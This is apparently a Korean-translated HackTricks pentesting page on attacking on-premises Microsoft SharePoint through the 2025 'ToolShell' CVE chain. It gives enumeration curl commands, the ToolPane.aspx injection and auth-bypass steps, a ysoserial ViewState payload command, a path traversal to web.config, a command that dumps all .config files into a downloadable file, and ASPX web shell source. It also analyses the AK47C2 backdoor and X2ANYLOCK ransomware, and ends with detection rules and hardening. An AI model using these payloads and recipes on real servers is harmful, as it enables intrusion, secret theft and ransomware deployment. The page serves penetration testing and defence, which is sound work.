Microsoft SharePoint – Pentesting & Exploitation
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Microsoft SharePoint (온프레미스)는 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, 웹 셸 등)이 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스를 함께 제공하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 Unit42에 의해 공개된 2025 exploit chain(CVE-2025-49704/49706/53770/53771)에 중점을 두고 SharePoint 환경 내에서 열거, 악용 및 지속하는 실용적인 요령을 수집합니다.
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – ToolPane.aspx에서의 코드 주입
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
는 페이지에 임의의 Server-Side Include 코드를 주입할 수 있게 하며, 이는 나중에 ASP.NET에 의해 컴파일됩니다. 공격자는 Process.Start()
를 실행하는 C#을 삽입하고 악성 ViewState를 드롭할 수 있습니다.
2.2 CVE-2025-49706 – 부적절한 인증 우회
같은 페이지는 사이트 컨텍스트를 결정하기 위해 X-Forms_BaseUrl 헤더를 신뢰합니다. 이를 /_layouts/15/
로 지정함으로써, 루트 사이트에서 강제되는 MFA/SSO를 인증되지 않은 상태로 우회할 수 있습니다.
2.3 CVE-2025-53770 – 인증되지 않은 ViewState 역직렬화 → RCE
공격자가 ToolPane.aspx
에서 가젯을 제어하게 되면, .NET 역직렬화를 유발하는 서명되지 않은 (또는 MAC 전용) __VIEWSTATE
값을 게시할 수 있으며, 이는 w3wp.exe 내에서 코드 실행으로 이어집니다.
서명이 활성화된 경우, 임의의 web.config
에서 ValidationKey/DecryptionKey를 훔치고 ysoserial.net 또는 ysodom을 사용하여 페이로드를 위조하십시오.
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – 경로 탐색 / web.config 노출
ToolPane.aspx
에 조작된 Source
매개변수(예: ../../../../web.config
)를 전송하면 대상 파일이 반환되어 다음과 같은 정보가 유출됩니다:
<machineKey validationKey="…" decryptionKey="…">
➜ ViewState / ASPXAUTH 쿠키 위조- 연결 문자열 및 비밀.
3. 실제에서 관찰된 포스트 익스플로잇 레시피
3.1 모든 .config 파일 외부 유출 (변형-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
결과적으로 생성된 debug_dev.js
는 익명으로 다운로드할 수 있으며 모든 민감한 구성을 포함합니다.
3.2 Base64로 인코딩된 ASPX 웹 셸 배포 (변형-2)
powershell.exe -EncodedCommand <base64>
디코딩된 페이로드 예시 (축약됨):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
작성 대상:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
쉘은 기계 키를 읽고 회전하는 엔드포인트를 노출하여 농장 전역에서 ViewState 및 ASPXAUTH 쿠키를 위조할 수 있게 합니다.
3.3 난독화된 변형 (variation-3)
같은 쉘이지만:
...\15\TEMPLATE\LAYOUTS\
아래에 배치됨- 변수 이름이 단일 문자로 축소됨
- 샌드박스 회피 및 타이밍 기반 AV 우회를 위해
Thread.Sleep(<ms>)
가 추가됨.
3.4 AK47C2 다중 프로토콜 백도어 및 X2ANYLOCK 랜섬웨어 (2025-2026 관찰됨)
최근 사건 대응 조사(Unit42 “Project AK47”)는 공격자들이 초기 RCE 후에 ToolShell 체인을 활용하여 SharePoint 환경에 이중 채널 C2 임플란트와 랜섬웨어를 배포하는 방법을 보여줍니다:
AK47C2 – dnsclient
변형
- 하드코딩된 DNS 서버:
10.7.66.10
이 권한 있는 도메인update.updatemicfosoft.com
과 통신. - 메시지는 정적 키
VHBD@H
로 XOR 암호화된 JSON 객체이며, 16진수로 인코딩되어 서브 도메인 레이블로 포함됨.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- 긴 쿼리는 청크로 나뉘고
s
로 접두사가 붙은 후 서버 측에서 재조립됨. - 서버는 동일한 XOR/16진수 스킴을 가진 TXT 레코드로 응답:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- 버전 202504는
<COMMAND>::<SESSION_KEY>
및 청크 마커1
,2
,a
의 단순화된 형식을 도입함.
AK47C2 – httpclient
변형
- 동일한 JSON 및 XOR 루틴을 재사용하지만 HTTP POST 본문에 16진수 블롭을
libcurl
(CURLOPT_POSTFIELDS
등)을 통해 전송. - 임의의 쉘 명령 실행을 허용하는 동일한 작업/결과 워크플로우:
- 동적 대기 간격 및 킬 스위치 지침.
X2ANYLOCK 랜섬웨어
- DLL 사이드 로딩을 통해 로드된 64비트 C++ 페이로드(아래 참조).
- 파일 데이터에 AES-CBC를 사용하고 AES 키를 래핑하기 위해 RSA-2048을 사용한 후 확장자
.x2anylock
을 추가. - 로컬 드라이브와 발견된 SMB 공유를 재귀적으로 암호화하며, 시스템 경로는 건너뜀.
- 협상을 위한 정적 Tox ID를 포함한 평문 노트
How to decrypt my data.txt
를 드롭. - 내부 킬 스위치 포함:
if (file_mod_time >= "2026-06-06") exit(0);
DLL 사이드 로딩 체인
- 공격자가 합법적인
7z.exe
옆에dllhijacked.dll
/My7zdllhijacked.dll
를 작성. - SharePoint에서 생성된
w3wp.exe
가7z.exe
를 실행하고, Windows 검색 순서로 인해 악성 DLL을 로드하여 메모리에서 랜섬웨어 진입점을 호출. - 별도의 LockBit 로더가 관찰됨 (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
)이 쉘 코드를 복호화하고d3dl1.dll
에 DLL 할로잉을 수행하여 LockBit 3.0을 실행.
info
X2ANYLOCK에서 발견된 동일한 정적 Tox ID가 유출된 LockBit 데이터베이스에 나타나며, 제휴 중복을 시사함.
4. 탐지 아이디어
텔레메트리 | 의심스러운 이유 |
---|---|
w3wp.exe → cmd.exe | 작업 프로세스가 쉘을 생성하는 경우는 드물어야 함 |
cmd.exe → powershell.exe -EncodedCommand | 고전적인 lolbin 패턴 |
debug_dev.js 또는 spinstall0.aspx 파일 이벤트 생성 | ToolShell에서 직접 가져온 IOC |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/모듈 로그) | 공개 PoC가 이 페이지를 호출함 |
예시 XDR / Sysmon 규칙 (의사-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. 강화 및 완화
- 패치 – 2025년 7월 보안 업데이트가 모든 네 개의 CVE를 수정합니다.
- 회전 – 침해 후 모든
<machineKey>
및ViewState
비밀을 변경합니다. WSS_WPG
및WSS_ADMIN_WPG
그룹에서 LAYOUTS 쓰기 권한을 제거합니다.- 프록시/WAF 수준에서
/_layouts/15/ToolPane.aspx
에 대한 외부 접근을 차단합니다. - ViewStateUserKey, MAC 활성화, 및 사용자 정의 EventValidation을 활성화합니다.
관련 트릭
- IIS 사후 활용 및 web.config 남용:
IIS - Internet Information Services
참고 문헌
- Unit42 – Microsoft SharePoint 취약점의 능동적 악용
- GitHub PoC – ToolShell 익스플로잇 체인
- Microsoft 보안 권고 – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint 악용 및 랜섬웨어 활동
- Microsoft 보안 권고 – CVE-2025-53770 / 53771
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.